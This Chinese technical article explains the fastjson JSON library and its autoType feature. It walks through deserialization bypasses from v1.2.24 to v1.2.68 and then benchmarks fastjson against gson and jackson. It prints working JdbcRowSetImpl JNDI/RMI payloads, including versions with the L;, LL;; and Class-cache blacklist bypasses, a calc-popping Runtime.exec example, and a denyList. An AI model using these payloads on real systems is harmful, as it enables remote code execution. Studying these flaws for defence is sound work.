fastjson 简介
什么是 fastjson
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
fastjson 的使用
- 序列化
String jsonString = JSON.toJSONString(Object);
- 反序列化
Object obj = JSON.parseObject(String, Object.class);
fastjson 的工作原理
我们使用一个例子,来简单看下 fastjson 是如何做到序列化和反序列化的
先创建一个 User 类,可以看到我们分别在他的constructor、getter、setter 方法上打印了日志。
然后,我们使用 fastjson 对 User 对象进行序列化和反序列化的操作。其中反序列化使用了 parse 方法 和
parseObject 方法。
这个 Demo 执行会有什么样的结果呢?
从结果中我们可以看到,fastjson 的序列化是调用对象的 getter 方法实现的,反序列化中 parse 没有调用 User 的任何方法,而是返回了一个 JSONObject 对象。parseObject 调用了 User 的构造方法和 setter 方法,最终返回的是User 对象。
fastjson 漏洞
通过 fastjson 的 releaseNotes,我们可以发现 fastjson 漏洞跟 fastjson 的 autoType 特性有很大关系,其漏洞的利用和修复基本都围绕 autoType 特性展开。那么 autoType 特性是做什么的呢?
autoType
首先,我们看下面这个例子。
Store 中有 Fruit 类型的属性,Apple 继承了 Frunt 实体。现在我们使用 fastjson 对上面的java bean进行序列化测试
上面的代码将 Apple 对象赋值到 Store 中,然后使用 fastjson 进行序列化和反序列化,最后将 Store 中的 Fruit 转换成其 真实类型。上面的例子输出是什么呢?
可以看到,在将store反序列化之后,我们尝试将Fruit转换成Apple,但是抛出了异常,不允许类型转换。从上述现象 中我们知道,当一个类中包含了一个接口(或父类)的时候,在进行序列化的时候,会将子类型抹去,只保留接口(父类)的类型,使得反序列化时无法拿到原始类型。
那么有什么办法解决这个问题呢,fastjson 使用 autoType 来解决这个问题,与普通的序列化不同,使用autoType 需要 SerializerFeature.WriteClassName 标记。
还是上面的例子,我们把序列化的代码做些改动
红框中我们在序列化时使用了 SerializerFeature.WriteClassName ,表示使用了autoType,那再次运行代码,结果怎样呢?
运行成功了!我们成功拿到了 Fruit 的真实类型 Apple。我们再使用 User 的例子试一下。
使用了 autoType 特性之后的结果会有什么不同?
同时我们可以看到,使用了SerializerFeature.WriteClassName进行标记后,序列化之后的JSON字符串中多出了一个@type字段,标注了类对应的原始类型,使我们在反序列化的时候能够定位到具体类型。
这就是 fastjson 中的 autoType 特性,这个特性确实能够在特定场景下带来方便,但也正是由于这个特性导致了后续的诸多被利用的漏洞。接下来我们就看一下 fastjson 开发史上的那些重大漏洞。
autoType 的实现 (v1.2.24)
序列化
反序列化
处理 JSON 字符串时,如果 key = @type,会继续读取到指定要加载的类 typeName,然后会使用TypeUtils.loadClass 去加载 typeName 的 Class。我们再看下 loadClass 做了什么。
loadClass 分别处理了数组形式的类、Class形式的类和其他的类,并且对加载过的类在 mappings 中做了缓存。
加载完class之后,fastjson 在 deserializer.deserialze(this, clazz, fieldName); 中处理了 autoType
的反序列化操作,也就是调用了对应 class 的构造和 setter 方法。
v1.2.24 漏洞构建
我们了解了 autoType 的实现过程和使用方式,可以看到使用了 autoType 之后,我们可以使 fastjson 加载指定的类,并且 fastjson 会自动调用该类的构造方法和我们要设置的属性的 setter 方法。
本地代码执行漏洞
利用这一点,我们可以构造出执行漏洞v1,我们以弹出计算器为目标。
我们在 User 类的构造方法中增加 Runtime.getRuntime().exec("calc");,打开系统的计算器。
从 demo 中可以看到,我们成功的弹出了计算器,验证 fastjson 漏洞成功,so easy! but,你以为这就完了吗?
实际上,我们不会有人在代码中写 Runtim.getRuntime() 这样的代码,那么如果没有这部分代码,我们还可以使用什么方式利用这个漏洞呢?
远程执行漏洞
我们使用 JNDI 的方式完成这个远程执行漏洞,这里选择比较常用的攻击类库com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个 rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。我们看一下具体的方法。
使用 RMI 的方式需要我们有一个自己的web服务,将上面执行命令的 User 类编译后放在web服务的根目录下,然后我们构建JDNI server。
这样,我们就可以通过 RMI 的方式执行远程命令。最终,我们构造如下的 payload :
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:2099/User","autoCo mmit":true}
如果我们的接口使用了 fastjson 的反序列化,通过传入这个参数就可以实现远程漏洞的攻击。
v1.2.41 漏洞构建
我们先来看一下,为了解决 v1.2.24 中的漏洞,fastjson 做了哪些改动。
首先,我们看到在处理 autoType 特性时,增加了 checkAutoType 的处理。
在 checkAutoType 中,如果 autoTypeSupport 开关打开,会先检查白名单,如果目标类在白名单中,直接加载。然后检查黑名单,如果目标类在黑名单中并且缓存中没有找到则抛异常。
如果 autoTypeSupport 开关关闭,则先检查黑名单,在黑名单中,直接抛异常。然后检查白名单,如果在白名单中并且目标类不是预期类的子类,则直接加载。
最后,有个兜底判断,如果 autoTypeSupport 开关打开 或者 传入 features 支持 SupportAutoType 或者 默认features 支持 SupportAutoType 则直接加载。
1.2.41 版本中的 黑名单中 包含了哪些类
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,o rg.springframework".split(",");
可以看到,com.sun.下的所有类都被加入到了黑名单,没有办法再利用之前构造的 payload 进行攻击了吧。
too young, too simple!
还记的上面提到的 loadClass 方法吗?
如果目标类的首字母是‘L’,并且尾字母是‘;’,这里会去除首尾字母,重新 loadClass;
所以我们重新构造 payload 只需要分别在目标类前后增加字母 ’L‘,‘;’就可以了。新的payload如下:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:2099/User","auto Commit":true}
但此漏洞需要 autoTypeSupport 开关打开,由于上面提到的 checkAutoType 的兜底策略,开关关闭会直接抛出不支持 autoType 的异常。
v1.2.42 漏洞构建
我们先来看一下,为了解决 v1.2.41 中的漏洞,fastjson 在 checkAutoType 中做了哪些改动。
1.2.42 中将黑白名单中的类替换成了类的 hash 值,hash 的算法为
然后 利用该 hash 算法得到首字母和末尾字符的 hash 值是否与 L;的 hash 值相同。如果相同,则删除首尾字母。
这样如果我还是利用 Lcom.sun.rowset.JdbcRowSetImpl; 做为目标类,就会被黑名单拦截,貌似也可以解决问题。
额,这样真的可以解决问题吗?
这次的问题修复,作者想得有点简单了。我们只需要分别在目标类的前后增加 LL 和 ;; 比如
LLcom.sun.rowset.JdbcRowSetImpl;;
就可以轻松绕过检查。payload 如下:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:2099/User","au toCommit":true}
v1.2.47 漏洞构建
为了解决 v1.2.42 中的漏洞,fastjson 在 checkAutoType 中做了哪些改动。
1.2.47 中,判断类的前缀是 [ 或者类的首尾字符分别是 L、;,则直接抛出不支持 autoType 的异常。这样,我们之前使用的漏洞方式都不能使用了。
那我们还能找到其他方式越过这些检查吗?可以的,我们来看下 checkAutoType 中的这段代码。
这段代码前面是 autoType 开关开启时黑白名单的校验,后面是 autoType 开关关闭时黑白名单的校验。而且开关开启时的校验中还没有把黑名单的拦截写死。
只有目标类在黑名单中同时缓存中没有该类时才会抛出异常。也就是说只要缓存中存在目标类,无论 autoType 的开关开启还是关闭,都不会被黑名单拦截。
现在的问题就变成了,如何在校验攻击类之前将其加载到缓存中。
大家还记得什么时候会将目标类放到缓存中吗?答案是 loadClass。
可以看到,loadClass 中 ① 和 ② 需要 cache 为 true 时才会添加缓存,③ 任何时候都会添加。而 fastjson 提供了两个 loadClass 的方法,第一个 cache 为 true, 第二个调用方可以自己决定是否缓存。
通过上述线索,我们反向定位,使用到 loadClass 且需要缓存,而且这个 loadClass 不是在处理 autoType 的属性。于是我们找到了符合条件的一处使用。
在处理 Class 的类型时,我们会使用 loadClass 加载其属性。而 Class 类型的处理会在 ParserConfig 加载时就写入到 deserializers 中。
至此,我们对于构建这个漏洞的 payload 就有了大概的思路。
我们需要先使用 Class 的 autoType 特性,将攻击类加载到缓存中,然后再次加载攻击类时,就会从缓存中获取,从而绕过黑白名单的检查。最终 payload 如下:
{"a":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:2099/User","autoCo mmit":true}}
v1.2.68 漏洞构建
为了解决 v1.2.47 中的漏洞,fastjson 做了哪些改动。
v1.2.68 版本中,将 MiscCodec 中对于 Class 类处理的缓存去掉了,并且原来没有加缓存的 Class.forName 也加上了缓存的判断。
这个版本是基于 expectClass 实现的漏洞攻击,我们先看下 expectClass 如何绕过检查。
如果传入了 expectClass 并且 expectClass 没有被限制,则 expectClassFlag 为 true。
后面的逻辑中,只要 expectClassFlag 为 true,就会执行 loadClass 加载目标类。
当 expectClass 是 目标类的父类时,会直接返回。
我目前没有找到可以实现 RCE 的相关攻击类。不过这里我们可以先展示一下利用预期类攻击的方式。首先 checkAutoType 中会传入参数 expectClass,多数情况下这个值是 null。有两种情况下例外,
第一种 @type 为 Throwable.class
此时,deserializer 为 ThrowableDeserializer,
然后,解析下一个标签时,如果还是 @type 则会把 Throwable.class 作为预期类传入。
第二种方式也是类似的,如果第二个标签同样是 @type 则会把第一个 @type 作为预期类传入。
我们以 AutoCloseable 为例,构造一个攻击的实例。
前提也需要 autoType 特性开启,payload 如下:
{"@type":"java.lang.AutoCloseable","@type":"com.sgvshy.fastjson1268.jndi.Test", "cmd":"rmi://localhost:2099/User"}
v1.2.68 还提供了 safeMode 安全模式
可以使用如下方式开启
ParserConfig.getGlobalInstance().setSafeMode(true);
安全模式下,不支持 autoType 特性,利用 autoType 漏洞的攻击都失效了。
fastjson、gson、jackson的对比
使用情况
从上图可以看出,jackson 高居榜首,gson 紧随其后,而fastjson 的使用量则与其他两种 json 工具有很大差距。
性能对比
性能对比中,我们使用 jdk8 进行测试,fastjson 使用 1.2.70 版本,gson 使用 2.8.6 版本,jackson 使用 2.10.2 版本。
每种测试方案执行执行10次,分别列出每种方案的最大执行时间、最小执行时间、总执行时间、平均执行时间以及去 最大最小后的平均执行时间。
简单对象
我们首先采用简单对象进行测试,每种json工具循环进行序列化、反序列化。
循环次数 | json工具 | 序列化总值 | 序列化最大值 | 序列化最小值 | 序列化均值 | 序列化去最大最小均值 | 反序列化总值 | 反序列化最大值 | 反序列化最小值 | 反序列化均值 | 反序列化去最大最小均值 |
---|---|---|---|---|---|---|---|---|---|---|---|
1 | fastjson | 145 | 145 | 0 | 14 | 0 | 7 | 7 | 0 | 0 | 0 |
1 | gson | 75 | 73 | 0 | 7 | 0 | 18 | 17 | 0 | 1 | 0 |
1 | jackson | 233 | 229 | 0 | 23 | 0 | 32 | 24 | 0 | 3 | 1 |
10 | fastjson | 152 | 151 | 0 | 15 | 0 | 11 | 9 | 0 | 1 | 0 |
10 | gson | 75 | 71 | 0 | 7 | 0 | 17 | 16 | 0 | 1 | 0 |
10 | jackson | 233 | 228 | 0 | 23 | 0 | 35 | 27 | 0 | 3 | 1 |
100 | fastjson | 153 | 146 | 0 | 15 | 0 | 24 | 10 | 1 | 2 | 1 |
100 | gson | 84 | 73 | 0 | 8 | 1 | 35 | 22 | 0 | 3 | 1 |
100 | jackson | 280 | 264 | 1 | 28 | 1 | 40 | 27 | 1 | 4 | 1 |
1000 | fastjson | 180 | 167 | 0 | 18 | 1 | 73 | 25 | 2 | 7 | 5 |
1000 | gson | 109 | 83 | 2 | 10 | 3 | 57 | 21 | 2 | 5 | 4 |
1000 | jackson | 370 | 345 | 2 | 37 | 2 | 85 | 48 | 2 | 8 | 4 |
10000 | fastjson | 228 | 198 | 2 | 22 | 3 | 144 | 77 | 4 | 14 | 7 |
10000 | gson | 267 | 118 | 12 | 26 | 17 | 268 | 69 | 11 | 26 | 23 |
10000 | jackson | 580 | 418 | 8 | 58 | 19 | 296 | 117 | 12 | 29 | 20 |
100000 | fastjson | 467 | 219 | 15 | 46 | 29 | 678 | 120 | 44 | 67 | 64 |
100000 | gson | 930 | 282 | 57 | 93 | 73 | 867 | 210 | 51 | 86 | 75 |
100000 | jackson | 529 | 295 | 20 | 52 | 26 | 523 | 166 | 34 | 52 | 40 |
gson 和 jackson 在进行序列化和反序列化时都需要先创建对象,上面的测试方案中,每次遍历使用的对象都是提前创建的,所以每种方案结果数据中仅包含第一次创建对象的时间。
从结果可以看出,对同一个对象进行多次序列化操作,gson 性能较好。反序列化 fastjosn 性能较好。当循环次数超过 10w 后,fastjson 序列化性能较好,jackson 反序列化性能较好。
复杂对象
我们将多个简单对象放到列表中构成大对象进行测试。
大小 | json工具 | 序列化总值 | 序列化最大值 | 序列化最小值 | 序列化均值 | 序列化去最大最小均值 | 反序列化总值 | 反序列化最大值 | 反序列化最小值 | 反序列化均值 | 反序列化去最大最小均值 |
---|---|---|---|---|---|---|---|---|---|---|---|
1k | fastjson | 159 | 157 | 0 | 15 | 0 | 15 | 8 | 0 | 1 | 0 |
1k | gson | 83 | 74 | 1 | 8 | 1 | 21 | 18 | 0 | 2 | 0 |
1k | jackson | 256 | 255 | 0 | 25 | 0 | 38 | 29 | 1 | 3 | 1 |
10k | fastjson | 165 | 154 | 1 | 16 | 1 | 45 | 17 | 1 | 4 | 3 |
10k | gson | 88 | 71 | 1 | 8 | 2 | 27 | 16 | 0 | 2 | 1 |
10k | jackson | 246 | 235 | 1 | 24 | 1 | 42 | 30 | 1 | 4 | 1 |
100k | fastjson | 228 | 169 | 4 | 22 | 6 | 97 | 46 | 2 | 9 | 6 |
100k | gson | 156 | 87 | 6 | 15 | 7 | 81 | 36 | 2 | 8 | 5 |
100k | jackson | 285 | 237 | 5 | 28 | 5 | 106 | 45 | 6 | 10 | 6 |
500k | fastjson | 408 | 248 | 7 | 40 | 19 | 246 | 88 | 7 | 24 | 18 |
500k | gson | 503 | 182 | 20 | 50 | 37 | 523 | 199 | 12 | 52 | 39 |
500k | jackson | 401 | 303 | 8 | 40 | 11 | 247 | 63 | 15 | 24 | 21 |
1m | fastjson | 477 | 266 | 16 | 47 | 24 | 594 | 252 | 17 | 59 | 40 |
1m | gson | 761 | 216 | 35 | 76 | 63 | 342 | 86 | 13 | 34 | 30 |
1m | jackson | 343 | 201 | 10 | 34 | 16 | 333 | 86 | 15 | 33 | 29 |
10m | fastjson | 4010 | 1104 | 158 | 401 | 343 | 5258 | 1335 | 222 | 525 | 462 |
10m | gson | 2845 | 802 | 188 | 284 | 231 | 1943 | 306 | 141 | 194 | 187 |
10m | jackson | 1192 | 307 | 77 | 119 | 101 | 1963 | 381 | 144 | 196 | 179 |
可以看到,数据在100K以内,gson 序列化性能较好,反序列化相差不大。数据在 500K 左右时,fastjson 和 jackson
序列化和反序列化性能较好,gson 较差。数据大于 1M 后,jackson 的性能较好,gson次之,fastjson 较差。
总结
1、fastjson 是一款优秀的国产开源工具。
2、fastjson 开源之后,其主要的优点是速度快。为了实现这个优点,作者做了很多工作,比如自定义实现SerializeWriter 处理 字符串、使用 ThreadLocal 缓存 buf、使用 asm 避免反射、缺省启用 sort field 输出等一系列的改动,这些是我们在日常开发中可以借鉴的想法。
3、速度快并不是我们评估一个系统好坏的唯一标准,更不是最重要的标准。一个系统的优劣还要看它的稳定性、可 扩展性、易用性等等。显然 fastjosn 没有考虑到这些因素,才导致了后面的多个漏洞。所以我们在开发系统时要有大的格局,考虑系统的多个方面,在系统稳定的基础上尽量优化其性能。